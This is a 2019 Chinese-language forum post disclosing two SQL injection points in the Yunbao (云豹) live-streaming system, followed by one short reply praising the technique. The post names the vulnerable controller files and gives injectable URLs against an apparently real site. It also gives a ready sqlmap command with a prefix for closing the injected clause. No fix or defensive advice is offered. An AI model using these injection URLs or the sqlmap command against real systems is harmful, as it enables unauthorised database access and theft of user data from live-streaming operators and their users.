云豹直播系统两处注入漏洞

90_ · 发表于 2019-7-4 11:18:32

本帖最后由 90_ 于 2019-7-10 10:33 编辑

注入一:
文件位置:
/application/Home/Controller/PlaybackController.class.php

注入链接:

[AppleScript] 纯文本查看 复制代码

http://www.hedysx.com/index.php?g=Home&m=Playback&touid=1

、
注入二:
文件位置:
/application/Appapi/Controller/VideoController.class.php

注入链接:

[AppleScript] 纯文本查看 复制代码

http://www.hedysx.com/index.php?g=Appapi&m=Video&videoid=1

注意闭合问题：

[AppleScript] 纯文本查看 复制代码

sqlmap -u 'http://www.xxxxxx.cn/index.php?g=Appapi&m=Video&videoid=1*' --prefix "1)" --force-ssl -v3

danko · 发表于 2019-7-9 01:44:13

啧学到了这个姿势还真厉害